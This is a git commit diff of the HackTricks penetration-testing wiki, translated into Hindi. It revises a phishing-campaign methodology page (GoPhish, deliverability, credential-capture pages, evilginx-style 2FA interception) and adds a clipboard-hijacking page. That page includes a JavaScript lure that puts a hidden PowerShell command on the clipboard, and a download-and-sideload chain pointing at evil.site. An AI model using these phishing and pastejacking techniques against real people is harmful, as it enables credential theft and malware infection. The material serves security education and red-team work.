mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
Translator
parent
90ecb79a38
commit
6f9a43f65f
@ -28,6 +28,7 @@
|
||||
- [Enable Nexmon Monitor And Injection On Android](generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md)
|
||||
- [Evil Twin EAP-TLS](generic-methodologies-and-resources/pentesting-wifi/evil-twin-eap-tls.md)
|
||||
- [Phishing Methodology](generic-methodologies-and-resources/phishing-methodology/README.md)
|
||||
- [Clipboard Hijacking](generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md)
|
||||
- [Clone a Website](generic-methodologies-and-resources/phishing-methodology/clone-a-website.md)
|
||||
- [Detecting Phishing](generic-methodologies-and-resources/phishing-methodology/detecting-phising.md)
|
||||
- [Discord Invite Hijacking](generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md)
|
||||
|
||||
@ -14,7 +14,7 @@
|
||||
3. **gophish** के साथ VPS को कॉन्फ़िगर करें
|
||||
3. अभियान तैयार करें
|
||||
1. **ईमेल टेम्पलेट** तैयार करें
|
||||
2. क्रेडेंशियल्स चुराने के लिए **वेब पेज** तैयार करें
|
||||
2. क्रेडेंशियल चुराने के लिए **वेब पेज** तैयार करें
|
||||
4. अभियान शुरू करें!
|
||||
|
||||
## समान डोमेन नाम उत्पन्न करें या एक विश्वसनीय डोमेन खरीदें
|
||||
@ -47,9 +47,9 @@
|
||||
|
||||
### बिटफ्लिपिंग
|
||||
|
||||
एक **संभावना है कि कुछ बिट्स जो संग्रहीत हैं या संचार में हैं, विभिन्न कारकों के कारण स्वचालित रूप से पलट सकते हैं** जैसे सौर ज्वालाएं, ब्रह्मांडीय किरणें, या हार्डवेयर त्रुटियाँ।
|
||||
यहां **संभवना है कि कुछ बिट्स जो संग्रहीत हैं या संचार में हैं, विभिन्न कारकों के कारण स्वचालित रूप से पलट सकते हैं** जैसे सौर ज्वालाएं, ब्रह्मांडीय किरणें, या हार्डवेयर त्रुटियां।
|
||||
|
||||
जब इस अवधारणा को **DNS अनुरोधों पर लागू किया जाता है**, तो यह संभव है कि **DNS सर्वर द्वारा प्राप्त डोमेन** वही न हो जो प्रारंभ में अनुरोधित किया गया था।
|
||||
जब इस अवधारणा को **DNS अनुरोधों पर लागू किया जाता है**, तो यह संभव है कि **DNS सर्वर द्वारा प्राप्त डोमेन** वही न हो जो प्रारंभ में अनुरोध किया गया था।
|
||||
|
||||
उदाहरण के लिए, "windows.com" डोमेन में एकल बिट संशोधन इसे "windnws.com" में बदल सकता है।
|
||||
|
||||
@ -74,7 +74,7 @@
|
||||
- [https://anymailfinder.com/](https://anymailfinder.com)
|
||||
|
||||
**अधिक** मान्य ईमेल पते खोजने या **पहले से खोजे गए** पते की पुष्टि करने के लिए आप देख सकते हैं कि क्या आप शिकार के smtp सर्वरों को ब्रूट-फोर्स कर सकते हैं। [यहां ईमेल पते की पुष्टि/खोजने के तरीके के बारे में जानें](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
|
||||
इसके अलावा, यह न भूलें कि यदि उपयोगकर्ता **अपने मेल तक पहुँचने के लिए कोई वेब पोर्टल का उपयोग करते हैं**, तो आप देख सकते हैं कि क्या यह **यूजरनेम ब्रूट फोर्स** के लिए संवेदनशील है, और यदि संभव हो तो इस कमजोरी का लाभ उठाएं।
|
||||
इसके अलावा, यह न भूलें कि यदि उपयोगकर्ता **अपने मेल तक पहुंचने के लिए किसी भी वेब पोर्टल का उपयोग करते हैं**, तो आप देख सकते हैं कि क्या यह **यूजरनेम ब्रूट फोर्स** के लिए संवेदनशील है, और यदि संभव हो तो इस कमजोरी का लाभ उठाएं।
|
||||
|
||||
## GoPhish कॉन्फ़िगर करना
|
||||
|
||||
@ -82,8 +82,8 @@
|
||||
|
||||
आप इसे [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) से डाउनलोड कर सकते हैं
|
||||
|
||||
इसे `/opt/gophish` के अंदर डाउनलोड और डिकंप्रेस करें और `/opt/gophish/gophish` चलाएँ।\
|
||||
आपको आउटपुट में पोर्ट 3333 पर व्यवस्थापक उपयोगकर्ता के लिए एक पासवर्ड दिया जाएगा। इसलिए, उस पोर्ट तक पहुँचें और उन क्रेडेंशियल्स का उपयोग करके व्यवस्थापक पासवर्ड बदलें। आपको उस पोर्ट को स्थानीय पर टनल करने की आवश्यकता हो सकती है:
|
||||
इसे `/opt/gophish` के अंदर डाउनलोड और डिकंप्रेस करें और `/opt/gophish/gophish` चलाएं।\
|
||||
आपको आउटपुट में पोर्ट 3333 पर व्यवस्थापक उपयोगकर्ता के लिए एक पासवर्ड दिया जाएगा। इसलिए, उस पोर्ट तक पहुंचें और व्यवस्थापक पासवर्ड बदलने के लिए उन क्रेडेंशियल्स का उपयोग करें। आपको उस पोर्ट को स्थानीय पर टनल करने की आवश्यकता हो सकती है:
|
||||
```bash
|
||||
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
|
||||
```
|
||||
@ -111,7 +111,7 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
|
||||
|
||||
शुरू करें इंस्टॉल करने के लिए: `apt-get install postfix`
|
||||
|
||||
फिर डोमेन को निम्नलिखित फ़ाइलों में जोड़ें:
|
||||
फिर निम्नलिखित फ़ाइलों में डोमेन जोड़ें:
|
||||
|
||||
- **/etc/postfix/virtual_domains**
|
||||
- **/etc/postfix/transport**
|
||||
@ -219,7 +219,7 @@ service gophish status
|
||||
ss -l | grep "3333\|443"
|
||||
service gophish stop
|
||||
```
|
||||
## मेल सर्वर और डोमेन को कॉन्फ़िगर करना
|
||||
## मेल सर्वर और डोमेन कॉन्फ़िगर करना
|
||||
|
||||
### प्रतीक्षा करें और वैध रहें
|
||||
|
||||
@ -245,9 +245,9 @@ v=spf1 mx a ip4:ip.ip.ip.ip ?all
|
||||
```
|
||||
### Domain-based Message Authentication, Reporting & Conformance (DMARC) Record
|
||||
|
||||
आपको **नए डोमेन के लिए DMARC रिकॉर्ड कॉन्फ़िगर करना होगा**। यदि आप नहीं जानते कि DMARC रिकॉर्ड क्या है [**इस पृष्ठ को पढ़ें**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc)।
|
||||
आपको **नए डोमेन के लिए DMARC रिकॉर्ड कॉन्फ़िगर करना होगा**। यदि आप नहीं जानते कि DMARC रिकॉर्ड क्या है तो [**इस पृष्ठ को पढ़ें**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc)।
|
||||
|
||||
आपको `_dmarc.<domain>` होस्टनाम की ओर इंगित करते हुए एक नया DNS TXT रिकॉर्ड बनाना होगा जिसमें निम्नलिखित सामग्री हो:
|
||||
आपको एक नया DNS TXT रिकॉर्ड बनाना होगा जो होस्टनाम `_dmarc.<domain>` की ओर इंगित करता है जिसमें निम्नलिखित सामग्री हो:
|
||||
```bash
|
||||
v=DMARC1; p=none
|
||||
```
|
||||
@ -257,7 +257,7 @@ v=DMARC1; p=none
|
||||
|
||||
यह ट्यूटोरियल आधारित है: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> आपको दोनों B64 मानों को जोड़ना होगा जो DKIM कुंजी उत्पन्न करती है:
|
||||
>
|
||||
> ```
|
||||
@ -266,12 +266,12 @@ v=DMARC1; p=none
|
||||
|
||||
### अपने ईमेल कॉन्फ़िगरेशन स्कोर का परीक्षण करें
|
||||
|
||||
आप [https://www.mail-tester.com/](https://www.mail-tester.com) का उपयोग करके ऐसा कर सकते हैं\
|
||||
आप [https://www.mail-tester.com/](https://www.mail-tester.com) का उपयोग करके ऐसा कर सकते हैं।\
|
||||
बस पृष्ठ पर जाएं और आपको दिए गए पते पर एक ईमेल भेजें:
|
||||
```bash
|
||||
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
|
||||
```
|
||||
आप अपने **ईमेल कॉन्फ़िगरेशन** की जांच भी कर सकते हैं `check-auth@verifier.port25.com` पर एक ईमेल भेजकर और **प्रतिक्रिया पढ़कर** (इसके लिए आपको **पोर्ट** **25** खोलने की आवश्यकता होगी और यदि आप ईमेल को रूट के रूप में भेजते हैं तो फ़ाइल _/var/mail/root_ में प्रतिक्रिया देखें)।\
|
||||
आप अपने **ईमेल कॉन्फ़िगरेशन** की भी जांच कर सकते हैं `check-auth@verifier.port25.com` को ईमेल भेजकर और **प्रतिक्रिया पढ़कर** (इसके लिए आपको **पोर्ट 25** खोलने की आवश्यकता होगी और यदि आप ईमेल को रूट के रूप में भेजते हैं तो फ़ाइल _/var/mail/root_ में प्रतिक्रिया देखें)।\
|
||||
सुनिश्चित करें कि आप सभी परीक्षणों में पास करते हैं:
|
||||
```bash
|
||||
==========================================================
|
||||
@ -291,24 +291,24 @@ dkim=pass header.i=@example.com;
|
||||
```
|
||||
### Spamhouse ब्लैकलिस्ट से हटाना
|
||||
|
||||
पृष्ठ [www.mail-tester.com](https://www.mail-tester.com) आपको बता सकता है कि क्या आपका डोमेन spamhouse द्वारा ब्लॉक किया गया है। आप अपने डोमेन/IP को हटाने के लिए अनुरोध कर सकते हैं: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
|
||||
पृष्ठ [www.mail-tester.com](https://www.mail-tester.com) आपको बता सकता है कि क्या आपका डोमेन स्पैमहाउस द्वारा ब्लॉक किया गया है। आप अपने डोमेन/IP को हटाने के लिए अनुरोध कर सकते हैं: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
|
||||
|
||||
### Microsoft ब्लैकलिस्ट से हटाना
|
||||
|
||||
आप अपने डोमेन/IP को हटाने के लिए अनुरोध कर सकते हैं [https://sender.office.com/](https://sender.office.com).
|
||||
आप अपने डोमेन/IP को हटाने के लिए अनुरोध कर सकते हैं [https://sender.office.com/](https://sender.office.com) पर।
|
||||
|
||||
## GoPhish अभियान बनाएं और लॉन्च करें
|
||||
|
||||
### भेजने की प्रोफ़ाइल
|
||||
|
||||
- प्रेषक प्रोफ़ाइल को पहचानने के लिए कुछ **नाम सेट करें**
|
||||
- तय करें कि आप किस खाते से फ़िशिंग ईमेल भेजने जा रहे हैं। सुझाव: _noreply, support, servicedesk, salesforce..._
|
||||
- तय करें कि आप फ़िशिंग ईमेल किस खाते से भेजने जा रहे हैं। सुझाव: _noreply, support, servicedesk, salesforce..._
|
||||
- आप उपयोगकर्ता नाम और पासवर्ड को खाली छोड़ सकते हैं, लेकिन सुनिश्चित करें कि Ignore Certificate Errors को चेक करें
|
||||
|
||||
 (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
|
||||
 (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
|
||||
|
||||
> [!NOTE]
|
||||
> यह अनुशंसा की जाती है कि आप यह सुनिश्चित करने के लिए "**Send Test Email**" कार्यक्षमता का उपयोग करें कि सब कुछ काम कर रहा है।\
|
||||
> [!TIP]
|
||||
> यह अनुशंसा की जाती है कि आप "**Send Test Email**" कार्यक्षमता का उपयोग करें यह परीक्षण करने के लिए कि सब कुछ काम कर रहा है।\
|
||||
> मैं अनुशंसा करूंगा कि **परीक्षण ईमेल 10 मिनट मेल पते पर भेजें** ताकि परीक्षण करते समय ब्लैकलिस्ट में न जाएं।
|
||||
|
||||
### ईमेल टेम्पलेट
|
||||
@ -343,24 +343,24 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> ईमेल टेम्पलेट भी **भेजने के लिए फ़ाइलें संलग्न** करने की अनुमति देता है। यदि आप कुछ विशेष रूप से तैयार की गई फ़ाइलों/दस्तावेज़ों का उपयोग करके NTLM चुनौतियों को चुराना चाहते हैं तो [इस पृष्ठ को पढ़ें](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)।
|
||||
> [!TIP]
|
||||
> ईमेल टेम्पलेट में **भेजने के लिए फ़ाइलें संलग्न करने** की भी अनुमति है। यदि आप कुछ विशेष रूप से तैयार की गई फ़ाइलों/दस्तावेज़ों का उपयोग करके NTLM चुनौतियों को चुराना चाहते हैं [इस पृष्ठ को पढ़ें](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)।
|
||||
|
||||
### लैंडिंग पृष्ठ
|
||||
|
||||
- एक **नाम** लिखें।
|
||||
- **वेब पृष्ठ का HTML कोड** लिखें। ध्यान दें कि आप **वेब पृष्ठों को आयात** कर सकते हैं।
|
||||
- **कैप्चर सबमिटेड डेटा** और **कैप्चर पासवर्ड** को चिह्नित करें।
|
||||
- **सबमिट किए गए डेटा को कैप्चर करें** और **पासवर्ड कैप्चर करें** को चिह्नित करें।
|
||||
- एक **रीडायरेक्शन** सेट करें।
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> आमतौर पर आपको पृष्ठ के HTML कोड को संशोधित करने और कुछ परीक्षण करने की आवश्यकता होगी (शायद कुछ Apache सर्वर का उपयोग करके) **जब तक आपको परिणाम पसंद न आएं।** फिर, उस HTML कोड को बॉक्स में लिखें।\
|
||||
> [!TIP]
|
||||
> आमतौर पर आपको पृष्ठ के HTML कोड को संशोधित करने और स्थानीय रूप से कुछ परीक्षण करने की आवश्यकता होगी (शायद कुछ Apache सर्वर का उपयोग करके) **जब तक आपको परिणाम पसंद न आएं।** फिर, उस HTML कोड को बॉक्स में लिखें।\
|
||||
> ध्यान दें कि यदि आपको HTML के लिए **कुछ स्थिर संसाधनों** का उपयोग करने की आवश्यकता है (शायद कुछ CSS और JS पृष्ठ) तो आप उन्हें _**/opt/gophish/static/endpoint**_ में सहेज सकते हैं और फिर _**/static/\<filename>**_ से उन तक पहुंच सकते हैं।
|
||||
|
||||
> [!NOTE]
|
||||
> रीडायरेक्शन के लिए आप **उपयोगकर्ताओं को पीड़ित के वैध मुख्य वेब पृष्ठ पर रीडायरेक्ट** कर सकते हैं, या उदाहरण के लिए, उन्हें _/static/migration.html_ पर रीडायरेक्ट कर सकते हैं, कुछ **स्पिनिंग व्हील** ([**https://loading.io/**](https://loading.io)**) 5 सेकंड के लिए और फिर संकेत दें कि प्रक्रिया सफल रही।**
|
||||
> [!TIP]
|
||||
> रीडायरेक्शन के लिए आप **शिकार के वास्तविक मुख्य वेब पृष्ठ पर उपयोगकर्ताओं को रीडायरेक्ट कर सकते हैं**, या उदाहरण के लिए _/static/migration.html_ पर रीडायरेक्ट कर सकते हैं, कुछ **स्पिनिंग व्हील** (**[**https://loading.io/**](https://loading.io)**) 5 सेकंड के लिए और फिर संकेत दें कि प्रक्रिया सफल रही।**
|
||||
|
||||
### उपयोगकर्ता और समूह
|
||||
|
||||
@ -373,18 +373,18 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
|
||||
|
||||
अंत में, एक अभियान बनाएं जिसमें एक नाम, ईमेल टेम्पलेट, लैंडिंग पृष्ठ, URL, भेजने की प्रोफ़ाइल और समूह का चयन करें। ध्यान दें कि URL वह लिंक होगा जो पीड़ितों को भेजा जाएगा।
|
||||
|
||||
ध्यान दें कि **भेजने की प्रोफ़ाइल परीक्षण ईमेल भेजने की अनुमति देती है ताकि यह देखा जा सके कि अंतिम फ़िशिंग ईमेल कैसा दिखेगा**:
|
||||
ध्यान दें कि **भेजने की प्रोफ़ाइल आपको परीक्षण ईमेल भेजने की अनुमति देती है ताकि यह देखा जा सके कि अंतिम फ़िशिंग ईमेल कैसा दिखेगा**:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> मैं **10 मिनट के मेल पते पर परीक्षण ईमेल भेजने की सिफारिश करूंगा** ताकि परीक्षण करते समय ब्लैकलिस्ट में न पड़ें।
|
||||
> [!TIP]
|
||||
> मैं सिफारिश करूंगा कि **परीक्षण ईमेल 10 मिनट मेल पते पर भेजें** ताकि परीक्षण करते समय ब्लैकलिस्ट में न जाएं।
|
||||
|
||||
जब सब कुछ तैयार हो जाए, तो बस अभियान शुरू करें!
|
||||
|
||||
## वेबसाइट क्लोनिंग
|
||||
|
||||
यदि किसी कारण से आप वेबसाइट को क्लोन करना चाहते हैं तो निम्नलिखित पृष्ठ देखें:
|
||||
यदि किसी कारणवश आप वेबसाइट को क्लोन करना चाहते हैं तो निम्नलिखित पृष्ठ देखें:
|
||||
|
||||
{{#ref}}
|
||||
clone-a-website.md
|
||||
@ -392,7 +392,7 @@ clone-a-website.md
|
||||
|
||||
## बैकडोर वाले दस्तावेज़ और फ़ाइलें
|
||||
|
||||
कुछ फ़िशिंग आकलनों (मुख्य रूप से रेड टीमों के लिए) में आप **कुछ प्रकार के बैकडोर वाली फ़ाइलें भेजना** भी चाहेंगे (शायद एक C2 या शायद बस कुछ जो प्रमाणीकरण को ट्रिगर करेगा)।\
|
||||
कुछ फ़िशिंग आकलनों (मुख्य रूप से रेड टीमों के लिए) में आप **कुछ प्रकार के बैकडोर वाली फ़ाइलें भेजना** भी चाहेंगे (शायद एक C2 या शायद कुछ ऐसा जो प्रमाणीकरण को ट्रिगर करेगा)।\
|
||||
कुछ उदाहरणों के लिए निम्नलिखित पृष्ठ देखें:
|
||||
|
||||
{{#ref}}
|
||||
@ -403,37 +403,45 @@ phishing-documents.md
|
||||
|
||||
### प्रॉक्सी MitM के माध्यम से
|
||||
|
||||
पिछला हमला काफी चालाक है क्योंकि आप एक असली वेबसाइट का अनुकरण कर रहे हैं और उपयोगकर्ता द्वारा सेट की गई जानकारी एकत्र कर रहे हैं। दुर्भाग्यवश, यदि उपयोगकर्ता ने सही पासवर्ड नहीं डाला या यदि आप जिस एप्लिकेशन का अनुकरण कर रहे हैं वह 2FA के साथ कॉन्फ़िगर किया गया है, तो **यह जानकारी आपको धोखे में पड़े उपयोगकर्ता का अनुकरण करने की अनुमति नहीं देगी**।
|
||||
पिछला हमला काफी चालाक है क्योंकि आप एक वास्तविक वेबसाइट का अनुकरण कर रहे हैं और उपयोगकर्ता द्वारा सेट की गई जानकारी एकत्र कर रहे हैं। दुर्भाग्यवश, यदि उपयोगकर्ता ने सही पासवर्ड नहीं डाला या यदि आप जिस एप्लिकेशन का अनुकरण कर रहे हैं वह 2FA के साथ कॉन्फ़िगर किया गया है, तो **यह जानकारी आपको धोखे में पड़े उपयोगकर्ता का अनुकरण करने की अनुमति नहीं देगी**।
|
||||
|
||||
यहां ऐसे उपकरण हैं जैसे [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) और [**muraena**](https://github.com/muraenateam/muraena) उपयोगी हैं। यह उपकरण आपको एक MitM जैसे हमले को उत्पन्न करने की अनुमति देगा। मूल रूप से, हमले इस प्रकार काम करते हैं:
|
||||
यहां ऐसे उपकरण हैं जैसे [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) और [**muraena**](https://github.com/muraenateam/muraena) उपयोगी हैं। यह उपकरण आपको एक MitM जैसे हमले को उत्पन्न करने की अनुमति देगा। मूल रूप से, हमले का काम करने का तरीका इस प्रकार है:
|
||||
|
||||
1. आप **वास्तविक वेबपृष्ठ** के लॉगिन फ़ॉर्म का अनुकरण करते हैं।
|
||||
2. उपयोगकर्ता **अपनी** **क्रेडेंशियल्स** को आपके फ़र्ज़ी पृष्ठ पर भेजता है और उपकरण उन्हें वास्तविक वेबपृष्ठ पर भेजता है, **जांचता है कि क्या क्रेडेंशियल्स काम करते हैं**।
|
||||
1. आप वास्तविक वेबपृष्ठ के लॉगिन फ़ॉर्म का **अनुकरण** करते हैं।
|
||||
2. उपयोगकर्ता अपनी **क्रेडेंशियल्स** को आपके फ़र्ज़ी पृष्ठ पर **भेजता है** और उपकरण उन्हें वास्तविक वेबपृष्ठ पर भेजता है, **जांचता है कि क्या क्रेडेंशियल्स काम करते हैं**।
|
||||
3. यदि खाता **2FA** के साथ कॉन्फ़िगर किया गया है, तो MitM पृष्ठ इसके लिए पूछेगा और एक बार जब **उपयोगकर्ता इसे प्रस्तुत करता है**, तो उपकरण इसे वास्तविक वेब पृष्ठ पर भेज देगा।
|
||||
4. एक बार जब उपयोगकर्ता प्रमाणित हो जाता है, तो आप (हमलावर के रूप में) **क्रेडेंशियल्स, 2FA, कुकी और आपके द्वारा किए गए हर इंटरैक्शन की कोई भी जानकारी** कैप्चर कर लेंगे जबकि उपकरण एक MitM प्रदर्शन कर रहा है।
|
||||
|
||||
### VNC के माध्यम से
|
||||
|
||||
क्या होगा यदि आप **पीड़ित को एक दुर्भावनापूर्ण पृष्ठ पर भेजने के बजाय** एक **VNC सत्र में भेजते हैं जिसमें वास्तविक वेब पृष्ठ से जुड़े ब्राउज़र** होते हैं? आप देख सकेंगे कि वह क्या करता है, पासवर्ड, उपयोग किए गए MFA, कुकीज़ चुराने में सक्षम होंगे...\
|
||||
क्या होगा यदि आप **पीड़ित को एक दुर्भावनापूर्ण पृष्ठ पर भेजने के बजाय** उसे एक **VNC सत्र में भेजते हैं जिसमें वास्तविक वेब पृष्ठ से जुड़ा ब्राउज़र हो**? आप देख सकेंगे कि वह क्या करता है, पासवर्ड, उपयोग किए गए MFA, कुकीज़ चुराने में सक्षम होंगे...\
|
||||
आप इसे [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) के साथ कर सकते हैं।
|
||||
|
||||
## पहचानने की पहचान
|
||||
|
||||
स्पष्ट रूप से, यह जानने के सबसे अच्छे तरीकों में से एक है कि क्या आपको पकड़ा गया है, **ब्लैकलिस्ट में अपने डोमेन की खोज करना**। यदि यह सूचीबद्ध है, तो किसी न किसी तरह आपका डोमेन संदिग्ध के रूप में पहचाना गया।\
|
||||
यह जांचने का एक आसान तरीका है कि क्या आपका डोमेन किसी भी ब्लैकलिस्ट में दिखाई देता है, [https://malwareworld.com/](https://malwareworld.com) का उपयोग करना है।
|
||||
स्पष्ट रूप से, यह जानने के सबसे अच्छे तरीकों में से एक है कि क्या आपको पकड़ा गया है, **अपने डोमेन को ब्लैकलिस्ट में खोजना**। यदि यह सूचीबद्ध है, तो किसी न किसी तरह आपका डोमेन संदिग्ध के रूप में पहचाना गया।\
|
||||
यह जांचने का एक आसान तरीका है कि क्या आपका डोमेन किसी भी ब्लैकलिस्ट में दिखाई देता है, [https://malwareworld.com/](https://malwareworld.com) का उपयोग करना।
|
||||
|
||||
हालांकि, यह जानने के अन्य तरीके हैं कि क्या पीड़ित **संदिग्ध फ़िशिंग गतिविधियों की सक्रिय रूप से खोज कर रहा है** जैसा कि निम्नलिखित में समझाया गया है:
|
||||
हालांकि, यह जानने के अन्य तरीके हैं कि क्या पीड़ित **संदिग्ध फ़िशिंग गतिविधियों की सक्रिय रूप से खोज कर रहा है** जैसा कि समझाया गया है:
|
||||
|
||||
{{#ref}}
|
||||
detecting-phising.md
|
||||
{{#endref}}
|
||||
|
||||
आप **पीड़ित के डोमेन के बहुत समान नाम** के साथ एक डोमेन खरीद सकते हैं **और/या एक प्रमाणपत्र उत्पन्न कर सकते हैं** एक **उपडोमेन** के लिए जो आपके द्वारा नियंत्रित डोमेन का **कीवर्ड** शामिल करता है। यदि **पीड़ित** उनके साथ किसी प्रकार की **DNS या HTTP इंटरैक्शन** करता है, तो आप जानेंगे कि **वह सक्रिय रूप से संदिग्ध डोमेन की खोज कर रहा है** और आपको बहुत सतर्क रहना होगा।
|
||||
आप **पीड़ित के डोमेन के बहुत समान नाम वाला एक डोमेन खरीद सकते हैं** **और/या एक प्रमाणपत्र उत्पन्न कर सकते हैं** एक **उपडोमेन** के लिए जो आपके द्वारा नियंत्रित डोमेन का **कीवर्ड** शामिल करता है। यदि **पीड़ित** उनके साथ किसी प्रकार की **DNS या HTTP इंटरैक्शन** करता है, तो आप जानेंगे कि **वह सक्रिय रूप से देख रहा है** संदिग्ध डोमेन और आपको बहुत सतर्क रहने की आवश्यकता होगी।
|
||||
|
||||
### फ़िशिंग का मूल्यांकन करें
|
||||
|
||||
[**Phishious** ](https://github.com/Rices/Phishious) का उपयोग करें यह मूल्यांकन करने के लिए कि क्या आपका ईमेल स्पैम फ़ोल्डर में समाप्त होने वाला है या यदि इसे अवरुद्ध किया जाएगा या सफल होगा।
|
||||
|
||||
## क्लिपबोर्ड हाइजैकिंग / पेस्टजैकिंग
|
||||
|
||||
हमलावर चुपचाप एक समझौता किए गए या टाइपस्क्वाटेड वेब पृष्ठ से पीड़ित के क्लिपबोर्ड में दुर्भावनापूर्ण कमांड कॉपी कर सकते हैं और फिर उपयोगकर्ता को उन्हें **Win + R**, **Win + X** या एक टर्मिनल विंडो के अंदर पेस्ट करने के लिए धोखा दे सकते हैं, बिना किसी डाउनलोड या अटैचमेंट के मनमाने कोड को निष्पादित करते हैं।
|
||||
|
||||
{{#ref}}
|
||||
clipboard-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
|
||||
|
||||
@ -0,0 +1,88 @@
|
||||
# Clipboard Hijacking (Pastejacking) Attacks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> "आप कभी भी कुछ ऐसा न पेस्ट करें जो आपने खुद कॉपी नहीं किया।" – पुरानी लेकिन अभी भी मान्य सलाह
|
||||
|
||||
## Overview
|
||||
|
||||
Clipboard hijacking – जिसे *pastejacking* भी कहा जाता है – इस तथ्य का दुरुपयोग करता है कि उपयोगकर्ता नियमित रूप से कमांड को कॉपी और पेस्ट करते हैं बिना उन्हें जांचे। एक दुर्भावनापूर्ण वेब पृष्ठ (या किसी भी JavaScript-सक्षम संदर्भ जैसे कि एक Electron या Desktop एप्लिकेशन) प्रोग्रामेटिक रूप से हमलावर-नियंत्रित पाठ को सिस्टम क्लिपबोर्ड में रखता है। पीड़ितों को, सामान्यतः सावधानीपूर्वक तैयार किए गए सोशल-इंजीनियरिंग निर्देशों द्वारा, **Win + R** (Run संवाद), **Win + X** (Quick Access / PowerShell) दबाने या एक टर्मिनल खोलने और क्लिपबोर्ड सामग्री को *पेस्ट* करने के लिए प्रोत्साहित किया जाता है, जिससे तुरंत मनमाने कमांड निष्पादित होते हैं।
|
||||
|
||||
क्योंकि **कोई फ़ाइल डाउनलोड नहीं की जाती और कोई अटैचमेंट नहीं खोला जाता**, यह तकनीक अधिकांश ई-मेल और वेब-सामग्री सुरक्षा नियंत्रणों को बायपास करती है जो अटैचमेंट, मैक्रोज़ या सीधे कमांड निष्पादन की निगरानी करती हैं। इसलिए यह हमला फ़िशिंग अभियानों में लोकप्रिय है जो NetSupport RAT, Latrodectus लोडर या Lumma Stealer जैसे कमोडिटी मैलवेयर परिवारों को वितरित करते हैं।
|
||||
|
||||
## JavaScript Proof-of-Concept
|
||||
```html
|
||||
<!-- Any user interaction (click) is enough to grant clipboard write permission in modern browsers -->
|
||||
<button id="fix" onclick="copyPayload()">Fix the error</button>
|
||||
<script>
|
||||
function copyPayload() {
|
||||
const payload = `powershell -nop -w hidden -enc <BASE64-PS1>`; // hidden PowerShell one-liner
|
||||
navigator.clipboard.writeText(payload)
|
||||
.then(() => alert('Now press Win+R , paste and hit Enter to fix the problem.'));
|
||||
}
|
||||
</script>
|
||||
```
|
||||
पुराने अभियानों ने `document.execCommand('copy')` का उपयोग किया, जबकि नए अभियानों में असिंक्रोनस **Clipboard API** (`navigator.clipboard.writeText`) पर निर्भरता होती है।
|
||||
|
||||
## ClickFix / ClearFake प्रवाह
|
||||
|
||||
1. उपयोगकर्ता एक टाइपोसक्वाटेड या समझौता किए गए साइट पर जाता है (जैसे `docusign.sa[.]com`)
|
||||
2. इंजेक्टेड **ClearFake** जावास्क्रिप्ट एक `unsecuredCopyToClipboard()` सहायक को कॉल करता है जो चुपचाप एक Base64-कोडित PowerShell एक-लाइनर को क्लिपबोर्ड में स्टोर करता है।
|
||||
3. HTML निर्देश पीड़ित को बताते हैं: *“**Win + R** दबाएं, कमांड पेस्ट करें और समस्या को हल करने के लिए Enter दबाएं।”*
|
||||
4. `powershell.exe` निष्पादित होता है, एक आर्काइव डाउनलोड करता है जिसमें एक वैध निष्पादन योग्य और एक दुर्भावनापूर्ण DLL (क्लासिक DLL साइडलोडिंग) होता है।
|
||||
5. लोडर अतिरिक्त चरणों को डिक्रिप्ट करता है, शेलकोड इंजेक्ट करता है और स्थिरता स्थापित करता है (जैसे शेड्यूल किया गया कार्य) – अंततः NetSupport RAT / Latrodectus / Lumma Stealer चलाता है।
|
||||
|
||||
### उदाहरण NetSupport RAT श्रृंखला
|
||||
```powershell
|
||||
powershell -nop -w hidden -enc <Base64>
|
||||
# ↓ Decodes to:
|
||||
Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
|
||||
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
|
||||
%TEMP%\f\jp2launcher.exe # Sideloads msvcp140.dll
|
